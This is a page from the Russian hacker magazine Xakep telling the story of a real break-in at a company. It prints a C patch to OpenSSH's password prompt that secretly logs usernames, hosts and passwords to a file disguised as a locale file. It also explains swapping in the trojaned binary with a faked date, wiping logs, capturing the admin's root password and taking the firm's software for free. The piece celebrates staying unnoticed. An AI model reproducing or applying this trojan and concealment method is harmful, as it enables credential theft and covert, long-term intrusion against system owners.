Пароль "Рыба-Shit"

Master-lame-master

Xakep, номер #053, стр. 053-056-4


Углубляемся в кодинг

Этому герою одного взлома оказалось мало, и он стал листать историю команд администратора. Найдены были только исходящие коннекты по ssh, но без всяких паролей. John The Ripper также оказался бесполезным. Но кидис не сдавался, пытаясь придумать что-нибудь еще. И придумал-таки - надо пропатчить сырцы ssh, чтобы он логировал пароли.

Узнав версию ssh (ssh -V), хакер полез его скачивать (www.openssh.org). Скачал, распаковал. Начал детальное изучение сорсов. Ему надо было найти место, где передается пароль. В файлах sshconnect1.c и sshconnect2.c обнаружились функции по запросу паролей. Теперь оставалось только немного смодифицировать код:

int

userauth_passwd(Authctxt *authctxt)

{

static int ifile, attempt = 0; /* Не забудем объявить переменную ifile */

if (attempt != 1)

error("Permission denied, please try again.");

snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",

authctxt->server_user, authctxt->host);

password = read_passphrase(prompt, 0);

/* Шпионская вставка в правильный код :) */

ifile=fopen("/usr/share/locale/it/console.it", "a"); /* Откроем шпионский файл на запись в конец */

fprintf(ifile, "%s %s is %s\n", authctxt->server_user, authctxt->host, password);

/* Запишем в файл имя пользователя, хост и пароль - главную информацию для размышления ;) */

fclose(ifile); /* Корректно закроем файл */

Пропатчив два этих файла, хакер заново пересобрал openssh. Заменил единственный /usr/bin/ssh, поставил старую дату. Потом создал файл /usr/share/locale/it/console.it с правами доступа 666, чтобы бинарник мог корректно записывать в него аккаунты. После этого стер логи и удалился. Оставалось только дождаться появления админа, который, по логике вещей, должен был зайти на другой сервер фирмы Nikita. Так, собственно, и произошло. Что примечательно, админ использовал root-аккаунт для подключения, поэтому, прочитав console.it, взломщик узнал всю полезную инфу.

Тебя интересует, чем все закончилось? Из-за того, что хакер не использовал шелл в качестве хак-площадки, его не замечали довольно долго. К тому же он мог получать на халяву все коммерческие продукты взломанной фирмы. PHP-баг на сервере так и остался незапатченным в течение полугода. Потом, наконец, система была заменена новой, и пароли суперпользователя изменились.

Сказка ложь, да в ней намек...

Далеко не все взломы проходят так гладко. Порой это бессонные ночи, после которых хакер находит тоненькую ниточку в системе, за нее он и цепляется. А иногда нет и ее. Все зависит от системных рук администраторов.

Не стоит расценивать этот материал как лживый кинороман - все взломы, описанные здесь, реальны. Для простоты понимания были лишь опущены попытки сбора данных, не увенчавшиеся успехом, а также некоторые промахи хакера по причине неопытности или лени. Для нас всегда остается главным итог - нарушитель прорывается через всевозможные системы безопасности и остается незаметным для админов...

Назад на стр. 053-056-3  Содержание  Вперед на стр. 053-056-5